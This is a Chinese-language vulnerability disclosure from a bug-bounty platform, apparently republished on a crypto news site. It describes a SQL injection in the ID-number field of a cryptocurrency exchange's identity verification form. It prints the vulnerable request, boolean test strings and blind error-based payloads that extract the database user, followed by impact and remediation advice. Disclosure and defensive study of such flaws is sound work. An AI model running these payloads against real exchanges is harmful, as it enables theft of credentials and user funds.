漏洞分析 | 某通用交易所存在SQL注入漏洞

DVPNET 发布在 海盗号 103206

前言

此次分析的漏洞由白帽子在2018 年 9 月提交至DVP漏洞平台,在确认漏洞真实有效后,DVP第一时间尝试联系该厂商,但经多次联系未果,且使用此套源码的交易所以接近无的情况下,DVP决定公开此漏洞,特提醒所有交易所与开发人员注意规避防御此类漏洞。
 

0x01 漏洞分析

  • 此漏洞触发点需要用户登录后才能触发
  • 此漏洞注入点在实名认证的证件号码中

我们随便填写后点击提交,抓包能看到以下参数,其中注入点就在 identityNo 参数中。

realName=%E9%98%BF%E8%90%A8%E5%BE%B7&identityType=0&identityNo=123456798123456789
测试添加 ‘or’1’=’1  提示身份证已存在。

 

 

测试添加 ‘or’1’=’2 则提示 系统繁忙。

很明显,此处执行了我们构造的SQL语句,可根据此回显特征进行注入。

 

猜测当前user()的长度

 

' or 1=case when length(user())=1 then 1 else exp(0) end or '1'='1

由上图发现当前用户长度为 22

 

猜测当前用户名

' or 1=case when mid(user(),1,1)=' a' then 1 else exp(11111) end or '1'='1

由上图即可得出当前用户 otcuser@172.*.*.14

 

0x02 漏洞危害

攻击者可利用此漏洞获取数据库中的敏感数据,例如网站用户的账号密码管理员账号密码、用户手机的验证码等敏感信息,获取到此类敏感信息攻击者可匹配碰撞用户的MD5然后读取数据库的验证码即可登录用户账号进行一系列操作,鉴于此漏洞危机用户资产,故DVP漏洞平台在此套源码使用量将近无的情况下公开此类漏洞,希望所有交易所与开发人员注意规避防御此类漏洞,避免用户资产受威胁。

 

0x03修复建议:

不信任用户输入的任何参数,对用户输入的每一个输入点进行过滤,敏感操作请求携带CSRF_TOKEN避免用户重放操作。

本文链接:https://www.8btc.com/media/376348
转载请注明文章出处

评论
登录 账号发表你的看法,还没有账号?立即免费 注册